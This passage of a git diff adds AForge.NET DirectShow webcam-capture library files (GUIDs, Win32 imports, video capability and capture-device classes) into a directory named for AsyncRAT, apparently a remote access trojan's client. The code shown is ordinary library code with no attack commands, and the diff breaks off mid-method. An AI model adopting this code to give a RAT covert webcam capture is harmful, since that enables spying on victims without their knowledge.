/// + public static readonly Guid RGB565 = + new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB 555, 16 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB555. + /// + public static readonly Guid RGB555 = + new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 24 bpp. + /// + /// + /// Equals to MEDIASUBTYPE_RGB24. + /// + public static readonly Guid RGB24 = + new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// RGB, 32 bpp, no alpha channel. + /// + /// + /// Equals to MEDIASUBTYPE_RGB32. + /// + public static readonly Guid RGB32 = + new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Data from AVI file. + /// + /// + /// Equals to MEDIASUBTYPE_Avi. + /// + public static readonly Guid Avi = + new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 ); + + /// + /// Advanced Streaming Format (ASF). + /// + /// + /// Equals to MEDIASUBTYPE_Asf. + /// + public static readonly Guid Asf = + new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 ); + } + + /// + /// DirectShow pin categories. + /// + /// + [ComVisible( false )] + static internal class PinCategory + { + /// + /// Capture pin. + /// + /// + /// Equals to PIN_CATEGORY_CAPTURE. + /// + public static readonly Guid Capture = + new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + + /// + /// Still image pin. + /// + /// + /// Equals to PIN_CATEGORY_STILL. + /// + public static readonly Guid StillImage = + new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA ); + } + + // Below GUIDs are used by ICaptureGraphBuilder::FindInterface(). + [ComVisible( false )] + static internal class FindDirection + { + /// Equals to LOOK_UPSTREAM_ONLY. + public static readonly Guid UpstreamOnly = + new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + + /// Equals to LOOK_DOWNSTREAM_ONLY. + public static readonly Guid DownstreamOnly = + new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs new file mode 100644 index 0000000..73d2e90 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs @@ -0,0 +1,102 @@ +// AForge Video for Windows Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2007-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// Some Win32 API used internally. + /// + /// + internal static class Win32 + { + /// + /// Supplies a pointer to an implementation of IBindCtx (a bind context object). + /// This object stores information about a particular moniker-binding operation. + /// + /// + /// Reserved for future use; must be zero. + /// Address of IBindCtx* pointer variable that receives the + /// interface pointer to the new bind context object. + /// + /// Returns S_OK on success. + /// + [DllImport( "ole32.dll" )] + public static extern + int CreateBindCtx( int reserved, out IBindCtx ppbc ); + + /// + /// Converts a string into a moniker that identifies the object named by the string. + /// + /// + /// Pointer to the IBindCtx interface on the bind context object to be used in this binding operation. + /// Pointer to a zero-terminated wide character string containing the display name to be parsed. + /// Pointer to the number of characters of szUserName that were consumed. + /// Address of IMoniker* pointer variable that receives the interface pointer + /// to the moniker that was built from szUserName. + /// + /// Returns S_OK on success. + /// + [DllImport( "ole32.dll", CharSet = CharSet.Unicode )] + public static extern + int MkParseDisplayName( IBindCtx pbc, string szUserName, + ref int pchEaten, out IMoniker ppmk ); + + /// + /// Copy a block of memory. + /// + /// + /// Destination pointer. + /// Source pointer. + /// Memory block's length to copy. + /// + /// Return's the value of dst - pointer to destination. + /// + [DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )] + public static unsafe extern int memcpy( + byte* dst, + byte* src, + int count ); + + /// + /// Invokes a new property frame, that is, a property sheet dialog box. + /// + /// + /// Parent window of property sheet dialog box. + /// Horizontal position for dialog box. + /// Vertical position for dialog box. + /// Dialog box caption. + /// Number of object pointers in ppUnk. + /// Pointer to the objects for property sheet. + /// Number of property pages in lpPageClsID. + /// Array of CLSIDs for each property page. + /// Locale identifier for property sheet locale. + /// Reserved. + /// Reserved. + /// + /// Returns S_OK on success. + /// + [DllImport( "oleaut32.dll" )] + public static extern int OleCreatePropertyFrame( + IntPtr hwndOwner, + int x, + int y, + [MarshalAs( UnmanagedType.LPWStr )] string caption, + int cObjects, + [MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )] + ref object ppUnk, + int cPages, + IntPtr lpPageClsID, + int lcid, + int dwReserved, + IntPtr lpvReserved ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs new file mode 100644 index 0000000..365a7c3 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs @@ -0,0 +1,123 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + /// + /// Specifies the physical type of pin (audio or video). + /// + public enum PhysicalConnectorType + { + /// + /// Default value of connection type. Physically it does not exist, but just either to specify that + /// connection type should not be changed (input) or was not determined (output). + /// + Default = 0, + /// + /// Specifies a tuner pin for video. + /// + VideoTuner = 1, + /// + /// Specifies a composite pin for video. + /// + VideoComposite, + /// + /// Specifies an S-Video (Y/C video) pin. + /// + VideoSVideo, + /// + /// Specifies an RGB pin for video. + /// + VideoRGB, + /// + /// Specifies a YRYBY (Y, R–Y, B–Y) pin for video. + /// + VideoYRYBY, + /// + /// Specifies a serial digital pin for video. + /// + VideoSerialDigital, + /// + /// Specifies a parallel digital pin for video. + /// + VideoParallelDigital, + /// + /// Specifies a SCSI (Small Computer System Interface) pin for video. + /// + VideoSCSI, + /// + /// Specifies an AUX (auxiliary) pin for video. + /// + VideoAUX, + /// + /// Specifies an IEEE 1394 pin for video. + /// + Video1394, + /// + /// Specifies a USB (Universal Serial Bus) pin for video. + /// + VideoUSB, + /// + /// Specifies a video decoder pin. + /// + VideoDecoder, + /// + /// Specifies a video encoder pin. + /// + VideoEncoder, + /// + /// Specifies a SCART (Peritel) pin for video. + /// + VideoSCART, + /// + /// Not used. + /// + VideoBlack, + + /// + /// Specifies a tuner pin for audio. + /// + AudioTuner = 4096, + /// + /// Specifies a line pin for audio. + /// + AudioLine, + /// + /// Specifies a microphone pin. + /// + AudioMic, + /// + /// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio. + /// + AudioAESDigital, + /// + /// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio. + /// + AudioSPDIFDigital, + /// + /// Specifies a SCSI pin for audio. + /// + AudioSCSI, + /// + /// Specifies an AUX pin for audio. + /// + AudioAUX, + /// + /// Specifies an IEEE 1394 pin for audio. + /// + Audio1394, + /// + /// Specifies a USB pin for audio. + /// + AudioUSB, + /// + /// Specifies an audio decoder pin. + /// + AudioDecoder + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs new file mode 100644 index 0000000..3256fed --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs @@ -0,0 +1,55 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Runtime.InteropServices; + + /// + /// DirectShow filter categories. + /// + [ComVisible( false )] + public static class FilterCategory + { + /// + /// Audio input device category. + /// + /// + /// Equals to CLSID_AudioInputDeviceCategory. + /// + public static readonly Guid AudioInputDevice = + new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Video input device category. + /// + /// + /// Equals to CLSID_VideoInputDeviceCategory. + /// + public static readonly Guid VideoInputDevice = + new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Video compressor category. + /// + /// + /// Equals to CLSID_VideoCompressorCategory. + /// + public static readonly Guid VideoCompressorCategory = + new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + + /// + /// Audio compressor category + /// + /// + /// Equals to CLSID_AudioCompressorCategory. + /// + public static readonly Guid AudioCompressorCategory = + new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs new file mode 100644 index 0000000..a7c8dd4 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs @@ -0,0 +1,245 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections.Generic; + using System.Drawing; + using System.Runtime.InteropServices; + + using AForge.Video; + using AForge.Video.DirectShow.Internals; + + /// + /// Capabilities of video device such as frame size and frame rate. + /// + public class VideoCapabilities + { + /// + /// Frame size supported by video device. + /// + public readonly Size FrameSize; + + /// + /// Frame rate supported by video device for corresponding frame size. + /// + /// + /// This field is depricated - should not be used. + /// Its value equals to . + /// + /// + [Obsolete( "No longer supported. Use AverageFrameRate instead." )] + public int FrameRate + { + get { return AverageFrameRate; } + } + + /// + /// Average frame rate of video device for corresponding frame size. + /// + public readonly int AverageFrameRate; + + /// + /// Maximum frame rate of video device for corresponding frame size. + /// + public readonly int MaximumFrameRate; + + /// + /// Number of bits per pixel provided by the camera. + /// + public readonly int BitCount; + + internal VideoCapabilities( ) { } + + // Retrieve capabilities of a video device + static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig ) + { + if ( videoStreamConfig == null ) + throw new ArgumentNullException( "videoStreamConfig" ); + + // ensure this device reports capabilities + int count, size; + int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size ); + + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + if ( count <= 0 ) + throw new NotSupportedException( "This video device does not report capabilities." ); + + if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) ) + throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." ); + + // group capabilities with similar parameters + Dictionary videocapsList = new Dictionary( ); + + for ( int i = 0; i < count; i++ ) + { + try + { + VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i ); + + uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) | + ( ( (uint) vc.FrameSize.Width ) << 16 ); + + if ( !videocapsList.ContainsKey( key ) ) + { + videocapsList.Add( key, vc ); + } + else + { + if ( vc.BitCount > videocapsList[key].BitCount ) + { + videocapsList[key] = vc; + } + } + } + catch + { + } + } + + VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count]; + videocapsList.Values.CopyTo( videocaps, 0 ); + + return videocaps; + } + + // Retrieve capabilities of a video device + internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index ) + { + AMMediaType mediaType = null; + VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); + + try + { + // retrieve capabilities struct at the specified index + int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps ); + + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + if ( mediaType.FormatType == FormatType.VideoInfo ) + { + VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); + BitCount = videoInfo.BmiHeader.BitCount; + AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); + MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); + } + else if ( mediaType.FormatType == FormatType.VideoInfo2 ) + { + VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) ); + + FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height ); + BitCount = videoInfo.BmiHeader.BitCount; + AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame ); + MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval ); + } + else + { + throw new ApplicationException( "Unsupported format found." ); + } + + // ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8 + // TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail + // on such formats + if ( BitCount <= 12 ) + { + throw new ApplicationException( "Unsupported format found." ); + } + } + finally + { + if ( mediaType != null ) + mediaType.Dispose( ); + } + } + + /// + /// Check if the video capability equals to the specified object. + /// + /// + /// Object to compare with. + /// + /// Returns true if both are equal are equal or false otherwise. + /// + public override bool Equals( object obj ) + { + return Equals( obj as VideoCapabilities ); + } + + /// + /// Check if two video capabilities are equal. + /// + /// + /// Second video capability to compare with. + /// + /// Returns true if both video capabilities are equal or false otherwise. + /// + public bool Equals( VideoCapabilities vc2 ) + { + if ( (object) vc2 == null ) + { + return false; + } + + return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) ); + } + + /// + /// Get hash code of the object. + /// + /// + /// Returns hash code ot the object + public override int GetHashCode( ) + { + return FrameSize.GetHashCode( ) ^ BitCount; + } + + /// + /// Equality operator. + /// + /// + /// First object to check. + /// Seconds object to check. + /// + /// Return true if both objects are equal or false otherwise. + public static bool operator ==( VideoCapabilities a, VideoCapabilities b ) + { + // if both are null, or both are same instance, return true. + if ( object.ReferenceEquals( a, b ) ) + { + return true; + } + + // if one is null, but not both, return false. + if ( ( (object) a == null ) || ( (object) b == null ) ) + { + return false; + } + + return a.Equals( b ); + } + + /// + /// Inequality operator. + /// + /// + /// First object to check. + /// Seconds object to check. + /// + /// Return true if both objects are not equal or false otherwise. + public static bool operator !=( VideoCapabilities a, VideoCapabilities b ) + { + return !( a == b ); + } + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs new file mode 100644 index 0000000..8b76c5a --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs @@ -0,0 +1,1698 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections.Generic; + using System.Drawing; + using System.Drawing.Imaging; + using System.Threading; + using System.Runtime.InteropServices; + + using AForge.Video; + using AForge.Video.DirectShow.Internals; + + /// + /// Video source for local video capture device (for example USB webcam). + /// + /// + /// This video source class captures video data from local video capture device, + /// like USB web camera (or internal), frame grabber, capture board - anything which + /// supports DirectShow interface. For devices which has a shutter button or + /// support external software triggering, the class also allows to do snapshots. Both + /// video size and snapshot size can be configured. + /// + /// Sample usage: + /// + /// // enumerate video devices + /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); + /// // create video source + /// VideoCaptureDevice videoSource = new VideoCaptureDevice( videoDevices[0].MonikerString ); + /// // set NewFrame event handler + /// videoSource.NewFrame += new NewFrameEventHandler( video_NewFrame ); + /// // start the video source + /// videoSource.Start( ); + /// // ... + /// // signal to stop when you no longer need capturing + /// videoSource.SignalToStop( ); + /// // ... + /// + /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) + /// { + /// // get new frame + /// Bitmap bitmap = eventArgs.Frame; + /// // process the frame + /// } + /// + /// + /// + public class VideoCaptureDevice : IVideoSource + { + // moniker string of video capture device + private string deviceMoniker; + // received frames count + private int framesReceived; + // recieved byte count + private long bytesReceived; + + // video and snapshot resolutions to set + private VideoCapabilities videoResolution = null; + private VideoCapabilities snapshotResolution = null; + + // provide snapshots or not + private bool provideSnapshots = false; + + private Thread thread = null; + private ManualResetEvent stopEvent = null; + + private VideoCapabilities[] videoCapabilities; + private VideoCapabilities[] snapshotCapabilities; + + private bool needToSetVideoInput = false; + private bool needToSimulateTrigger = false; + private bool needToDisplayPropertyPage = false; + private bool needToDisplayCrossBarPropertyPage = false; + private IntPtr parentWindowForPropertyPage = IntPtr.Zero; + + // video capture source object + private object sourceObject = null; + + // time of starting the DirectX graph + private DateTime startTime = new DateTime( ); + + // dummy object to lock for synchronization + private object sync = new object( ); + + // flag specifying if IAMCrossbar interface is supported by the running graph/source object + private bool? isCrossbarAvailable = null; + + private VideoInput[] crossbarVideoInputs = null; + private VideoInput crossbarVideoInput = VideoInput.Default; + + // cache for video/snapshot capabilities and video inputs + private static Dictionary cacheVideoCapabilities = new Dictionary( ); + private static Dictionary cacheSnapshotCapabilities = new Dictionary( ); + private static Dictionary cacheCrossbarVideoInputs = new Dictionary( ); + + /// + /// Current video input of capture card. + /// + /// + /// The property specifies video input to use for video devices like capture cards + /// (those which provide crossbar configuration). List of available video inputs can be obtained + /// from property. + /// + /// To check if the video device supports crossbar configuration, the + /// method can be used. + /// + /// This property can be set as before running video device, as while running it. + /// + /// By default this property is set to , which means video input + /// will not be set when running video device, but currently configured will be used. After video device + /// is started this property will be updated anyway to tell current video input. + /// + /// + public VideoInput CrossbarVideoInput + { + get { return crossbarVideoInput; } + set + { + needToSetVideoInput = true; + crossbarVideoInput = value; + } + } + + /// + /// Available inputs of the video capture card. + /// + /// + /// The property provides list of video inputs for devices like video capture cards. + /// Such devices usually provide several video inputs, which can be selected using crossbar. + /// If video device represented by the object of this class supports crossbar, then this property + /// will list all video inputs. However if it is a regular USB camera, for example, which does not + /// provide crossbar configuration, the property will provide zero length array. + /// + /// Video input to be used can be selected using . See also + /// method, which provides crossbar configuration dialog. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + public VideoInput[] AvailableCrossbarVideoInputs + { + get + { + if ( crossbarVideoInputs == null ) + { + lock ( cacheCrossbarVideoInputs ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) ) + { + crossbarVideoInputs = cacheCrossbarVideoInputs[deviceMoniker]; + } + } + + if ( crossbarVideoInputs == null ) + { + if ( !IsRunning ) + { + // create graph without playing to collect available inputs + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( crossbarVideoInputs == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even if capabilities are not provided for some reason + return ( crossbarVideoInputs != null ) ? crossbarVideoInputs : new VideoInput[0]; + } + } + + /// + /// Specifies if snapshots should be provided or not. + /// + /// + /// Some USB cameras/devices may have a shutter button, which may result into snapshot if it + /// is pressed. So the property specifies if the video source will try providing snapshots or not - it will + /// check if the camera supports providing still image snapshots. If camera supports snapshots and the property + /// is set to , then snapshots will be provided through + /// event. + /// + /// Check supported sizes of snapshots using property and set the + /// desired size using property. + /// + /// The property must be set before running the video source to take effect. + /// + /// Default value of the property is set to . + /// + /// + public bool ProvideSnapshots + { + get { return provideSnapshots; } + set { provideSnapshots = value; } + } + + /// + /// New frame event. + /// + /// + /// Notifies clients about new available frame from video source. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + public event NewFrameEventHandler NewFrame; + + /// + /// Snapshot frame event. + /// + /// + /// Notifies clients about new available snapshot frame - the one which comes when + /// camera's snapshot/shutter button is pressed. + /// + /// See documentation to for additional information. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed snapshot frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + /// + /// + public event NewFrameEventHandler SnapshotFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + public event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + public event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Video source. + /// + /// + /// Video source is represented by moniker string of video capture device. + /// + public virtual string Source + { + get { return deviceMoniker; } + set + { + deviceMoniker = value; + + videoCapabilities = null; + snapshotCapabilities = null; + crossbarVideoInputs = null; + isCrossbarAvailable = null; + } + } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + public int FramesReceived + { + get + { + int frames = framesReceived; + framesReceived = 0; + return frames; + } + } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + public long BytesReceived + { + get + { + long bytes = bytesReceived; + bytesReceived = 0; + return bytes; + } + } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + public bool IsRunning + { + get + { + if ( thread != null ) + { + // check thread status + if ( thread.Join( 0 ) == false ) + return true; + + // the thread is not running, free resources + Free( ); + } + return false; + } + } + + /// + /// Obsolete - no longer in use + /// + /// + /// The property is obsolete. Use property instead. + /// Setting this property does not have any effect. + /// + [Obsolete] + public Size DesiredFrameSize + { + get { return Size.Empty; } + set { } + } + + /// + /// Obsolete - no longer in use + /// + /// + /// The property is obsolete. Use property instead. + /// Setting this property does not have any effect. + /// + [Obsolete] + public Size DesiredSnapshotSize + { + get { return Size.Empty; } + set { } + } + + /// + /// Obsolete - no longer in use. + /// + /// + /// The property is obsolete. Setting this property does not have any effect. + /// + [Obsolete] + public int DesiredFrameRate + { + get { return 0; } + set { } + } + + /// + /// Video resolution to set. + /// + /// + /// The property allows to set one of the video resolutions supported by the camera. + /// Use property to get the list of supported video resolutions. + /// + /// The property must be set before camera is started to make any effect. + /// + /// Default value of the property is set to , which means default video + /// resolution is used. + /// + /// + public VideoCapabilities VideoResolution + { + get { return videoResolution; } + set { videoResolution = value; } + } + + /// + /// Snapshot resolution to set. + /// + /// + /// The property allows to set one of the snapshot resolutions supported by the camera. + /// Use property to get the list of supported snapshot resolutions. + /// + /// The property must be set before camera is started to make any effect. + /// + /// Default value of the property is set to , which means default snapshot + /// resolution is used. + /// + /// + public VideoCapabilities SnapshotResolution + { + get { return snapshotResolution; } + set { snapshotResolution = value; } + } + + /// + /// Video capabilities of the device. + /// + /// + /// The property provides list of device's video capabilities. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + public VideoCapabilities[] VideoCapabilities + { + get + { + if ( videoCapabilities == null ) + { + lock ( cacheVideoCapabilities ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) + { + videoCapabilities = cacheVideoCapabilities[deviceMoniker]; + } + } + + if ( videoCapabilities == null ) + { + if ( !IsRunning ) + { + // create graph without playing to get the video/snapshot capabilities only. + // not very clean but it works + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( videoCapabilities == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even capabilities are not provided for some reason + return ( videoCapabilities != null ) ? videoCapabilities : new VideoCapabilities[0]; + } + } + + /// + /// Snapshot capabilities of the device. + /// + /// + /// The property provides list of device's snapshot capabilities. + /// + /// If the array has zero length, then it means that this device does not support making + /// snapshots. + /// + /// See documentation to for additional information. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + /// + /// + public VideoCapabilities[] SnapshotCapabilities + { + get + { + if ( snapshotCapabilities == null ) + { + lock ( cacheSnapshotCapabilities ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) + { + snapshotCapabilities = cacheSnapshotCapabilities[deviceMoniker]; + } + } + + if ( snapshotCapabilities == null ) + { + if ( !IsRunning ) + { + // create graph without playing to get the video/snapshot capabilities only. + // not very clean but it works + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( snapshotCapabilities == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even capabilities are not provided for some reason + return ( snapshotCapabilities != null ) ? snapshotCapabilities : new VideoCapabilities[0]; + } + } + + /// + /// Source COM object of camera capture device. + /// + /// + /// The source COM object of camera capture device is exposed for the + /// case when user may need get direct access to the object for making some custom + /// configuration of camera through DirectShow interface, for example. + /// + /// + /// If camera is not running, the property is set to . + /// + /// + public object SourceObject + { + get { return sourceObject; } + } + + /// + /// Initializes a new instance of the class. + /// + /// + public VideoCaptureDevice( ) { } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Moniker string of video capture device. + /// + public VideoCaptureDevice( string deviceMoniker ) + { + this.deviceMoniker = deviceMoniker; + } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + public void Start( ) + { + if ( !IsRunning ) + { + // check source + if ( string.IsNullOrEmpty( deviceMoniker ) ) + throw new ArgumentException( "Video source is not specified." ); + + framesReceived = 0; + bytesReceived = 0; + isCrossbarAvailable = null; + needToSetVideoInput = true; + + // create events + stopEvent = new ManualResetEvent( false ); + + lock ( sync ) + { + // create and start new thread + thread = new Thread( new ThreadStart( WorkerThread ) ); + thread.Name = deviceMoniker; // mainly for debugging + thread.Start( ); + } + } + } + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + public void SignalToStop( ) + { + // stop thread + if ( thread != null ) + { + // signal to stop + stopEvent.Set( ); + } + } + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for source stopping after it was signalled to stop using + /// method. + /// + public void WaitForStop( ) + { + if ( thread != null ) + { + // wait for thread stop + thread.Join( ); + + Free( ); + } + } + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + /// Since the method aborts background thread, its usage is highly not preferred + /// and should be done only if there are no other options. The correct way of stopping camera + /// is signaling it stop and then + /// waiting for background thread's completion. + /// + /// + public void Stop( ) + { + if ( this.IsRunning ) + { + thread.Abort( ); + WaitForStop( ); + } + } + + /// + /// Free resource. + /// + /// + private void Free( ) + { + thread = null; + + // release events + stopEvent.Close( ); + stopEvent = null; + } + + /// + /// Display property window for the video capture device providing its configuration + /// capabilities. + /// + /// + /// Handle of parent window. + /// + /// If you pass parent window's handle to this method, then the + /// displayed property page will become modal window and none of the controls from the + /// parent window will be accessible. In order to make it modeless it is required + /// to pass as parent window's handle. + /// + /// + /// + /// The video source does not support configuration property page. + /// + public void DisplayPropertyPage( IntPtr parentWindow ) + { + // check source + if ( ( deviceMoniker == null ) || ( deviceMoniker == string.Empty ) ) + throw new ArgumentException( "Video source is not specified." ); + + lock ( sync ) + { + if ( IsRunning ) + { + // pass the request to backgroud thread if video source is running + parentWindowForPropertyPage = parentWindow; + needToDisplayPropertyPage = true; + return; + } + + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is ISpecifyPropertyPages ) ) + { + throw new NotSupportedException( "The video source does not support configuration property page." ); + } + + DisplayPropertyPage( parentWindow, tempSourceObject ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + } + + /// + /// Display property page of video crossbar (Analog Video Crossbar filter). + /// + /// + /// Handle of parent window. + /// + /// The Analog Video Crossbar filter is modeled after a general switching matrix, + /// with n inputs and m outputs. For example, a video card might have two external connectors: + /// a coaxial connector for TV, and an S-video input. These would be represented as input pins on + /// the filter. The displayed property page allows to configure the crossbar by selecting input + /// of a video card to use. + /// + /// This method can be invoked only when video source is running ( is + /// ). Otherwise it generates exception. + /// + /// Use method to check if running video source provides + /// crossbar configuration. + /// + /// + /// The video source must be running in order to display crossbar property page. + /// Crossbar configuration is not supported by currently running video source. + /// + public void DisplayCrossbarPropertyPage( IntPtr parentWindow ) + { + lock ( sync ) + { + // wait max 5 seconds till the flag gets initialized + for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ) && ( IsRunning ); i++ ) + { + Thread.Sleep( 10 ); + } + + 